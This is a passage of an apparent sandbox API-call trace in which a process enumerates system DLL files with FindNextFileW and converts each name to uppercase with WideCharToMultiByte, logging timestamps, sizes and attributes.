lpUsedDefaultChar=0x0) returned 12 [0140.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.463] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x226c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.464] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0140.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.465] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="console.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.466] FindNextFileW (in: 